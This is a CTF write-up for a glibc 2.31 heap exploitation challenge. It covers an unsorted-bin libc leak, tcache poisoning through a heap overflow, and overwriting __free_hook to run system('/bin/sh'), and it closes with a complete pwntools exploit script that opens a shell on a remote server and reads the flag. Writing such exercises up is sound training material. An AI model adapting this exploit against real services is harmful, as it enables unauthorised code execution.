pwn9_mc5 — Mic Check: leak and pwn 2!
pwn9_mc5 — Mic Check: leak and pwn 2!
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: free_hook_overwrite, system_binsh, tcache_poisoning_via_heap_overflow, unsorted_bin_leak
Summary
Task: menu-driven heap allocator (glibc 2.31) with UAF (delete doesn't clear slot) and heap overflow in allocate() where user-controlled name_len can exceed the chunk size. Solution: unsorted-bin leak to get libc, then tcache poisoning by overflowing an in-use chunk into a tcache-linked neighbour's fd to return __free_hook, write system, free('/bin/sh').
pwn9_mc5 — Mic Check: leak and pwn 2! (SPB CTF)
Description
Mic Check: "leak and pwn 2!" — 10 pts. Heap challenge, glibc 2.31.
nc 109.233.56.90 11804
Menu-based heap allocator with options:
1 - allocate mem print and free—scanfsize (1..0x7ff),malloc, thenscanfname_len, then byte-by-byteread(0, ptr+i, 1)up toname_lenbytes or until a newline.2 - print name—puts(array[idx]).3 - delete—free(array[idx]).4 - edit— stub: prints "Sorry, no...".
Binary
mc5.elf— 64-bit, PIE, Full RELRO, canary, NX, IBT+SHSTK.libc.so— GNU libc 2.31 (Ubuntu 20.04) —__free_hookexists, no safe-linking.
Analysis
Two independent bugs give us everything we need:
- UAF.
delete()frees the chunk but does NOT NULL the slot in the global pointer array. That means afterfree, bothprint(UAF-read) and the re-alloc path can observe the stale pointer. - Heap overflow in
allocate().name_lenis a signed int, unbounded relative to the just-allocated chunk size. The readerread(0, ptr+i, 1)only stops on\nOR after exactlyname_lenbytes. Because "edit" is a stub, this is the only write primitive — and it's more powerful than necessary: we can overflow a freshly-allocated chunk into its neighbours.
The "input discipline" pitfall is critical: the reader stops on \n OR on name_len, and any lingering bytes in stdin desynchronise the next scanf("%d") for the menu choice and kill the program. The exploit must send exactly name_len bytes per allocation.
Solution
Phase 1 — libc leak via unsorted bin
alloc(0x7f0)— chunk size0x800> tcache max0x410, sofreewill route to unsorted bin.alloc(0x20)guard — prevents the big chunk from merging with top when freed.deletethe big chunk → it lands in the unsorted bin;fd = main_arena + 0x60.print(UAF-read) leaks 6 bytes of the main arena pointer.libc_base = leak - (main_arena + 0x60 offset) = leak - 0x1ebbe0.
Phase 2 — tcache poisoning via heap overflow
allocfour adjacent0x20-sized chunks A, B, C, D.- Free D, C, B → tcache[0x20] = B → C → D (head = B, count = 3).
- Overflow trick. Next
alloc(size=0x20, name_len=0x38):mallocreturns B (tcache head) and we write 0x38 bytes:[0x00..0x20)— 0x20 filler bytes of B's user data.[0x20..0x30)— fake header for C:prev_size=0,size=0x31(PREV_INUSE).[0x30..0x38)—C->fd = &__free_hook.
- Two more
alloc(0x20)calls: first pops C (head becomes__free_hook, count=1), second returns__free_hookas a heap pointer. We writep64(system)into it.
Phase 3 — trigger system("/bin/sh")
- Allocate a fresh chunk with contents
"/bin/sh"(exactly 7 bytes). deleteit →free(ptr_to_/bin/sh)— since__free_hook = system, this becomessystem("/bin/sh")→ shell →cat /flag.txt.
Full exploit
python read-only • copy allowed#!/usr/bin/env python3 """pwn9_mc5 — glibc 2.31 heap: UAF + heap-overflow → tcache poison → __free_hook = system.""" from pwn import * import time context.arch = 'amd64' context.log_level = 'info' libc = ELF('./libc.so') HOST, PORT = '109.233.56.90', 11804 MALLOC_HOOK = libc.symbols['__malloc_hook'] # 0x1ebb70 MAIN_ARENA = MALLOC_HOOK + 0x10 # 0x1ebb80 UNSORTED_BIN_HEAD_OFF = MAIN_ARENA + 0x60 # 0x1ebbe0 FREE_HOOK_OFF = libc.symbols['__free_hook'] # 0x1eeb28 SYSTEM_OFF = libc.symbols['system'] # 0x55410 def alloc(p, size, name_len, name): # MUST send exactly name_len bytes. Extra bytes break the next scanf("%d"). assert len(name) == name_len, f"name must be {name_len} bytes, got {len(name)}" p.sendlineafter(b'Choose:', b'1') p.sendlineafter(b'alloc size?', str(size).encode()) p.sendlineafter(b'enter name size:', str(name_len).encode()) p.sendafter(b'enter name:', name) def delete(p, idx): p.sendlineafter(b'Choose:', b'3') p.sendlineafter(b'Index?', str(idx).encode()) def show(p, idx): p.sendlineafter(b'Choose:', b'2') p.sendlineafter(b'Index?', str(idx).encode()) def read_shown_line(p): line = p.recvline(timeout=3) if line.strip() == b'': line = p.recvline(timeout=3) return line.rstrip(b'\n') def exploit(): p = remote(HOST, PORT) # ── Phase 1: libc leak via unsorted bin ──────────────────────────────── alloc(p, 0x7f0, 8, b'AAAAAAAA') # idx 0: large chunk alloc(p, 0x20, 1, b'B') # idx 1: guard delete(p, 0) # → unsorted bin show(p, 0) leak_val = u64(read_shown_line(p).ljust(8, b'\x00')) libc_base = leak_val - UNSORTED_BIN_HEAD_OFF assert libc_base & 0xfff == 0 free_hook = libc_base + FREE_HOOK_OFF system = libc_base + SYSTEM_OFF log.success(f"libc_base = {hex(libc_base)}") log.success(f"__free_hook = {hex(free_hook)}") # ── Phase 2: tcache poisoning via heap overflow ──────────────────────── alloc(p, 0x20, 1, b'A') # 2 alloc(p, 0x20, 1, b'B') # 3 alloc(p, 0x20, 1, b'C') # 4 alloc(p, 0x20, 1, b'D') # 5 delete(p, 5) # D → tcache delete(p, 4) # C → tcache, C->fd = D delete(p, 3) # B → tcache, B->fd = C (head = B, count = 3) # Overflow: malloc returns B, 0x38 bytes overwrite C's header & fd. payload = b'X' * 0x20 + p64(0) + p64(0x31) + p64(free_hook) alloc(p, 0x20, len(payload), payload) # idx 6 # tcache: head = C, C->fd = __free_hook, count = 2 alloc(p, 0x20, 1, b'P') # idx 7 — pops C; head = __free_hook alloc(p, 0x20, 8, p64(system)) # idx 8 — returns __free_hook; writes system # ── Phase 3: trigger ──────────────────────────────────────────────────── alloc(p, 0x20, 7, b'/bin/sh') # idx 9 p.sendlineafter(b'Choose:', b'3') p.sendlineafter(b'Index?', b'9') # free → __free_hook("/bin/sh") = system("/bin/sh") p.sendline(b'cat /flag* 2>/dev/null; cat /home/*/flag* 2>/dev/null') time.sleep(2) try: print(p.recv(timeout=5).decode(errors='replace')) except EOFError: pass p.interactive() if __name__ == '__main__': exploit()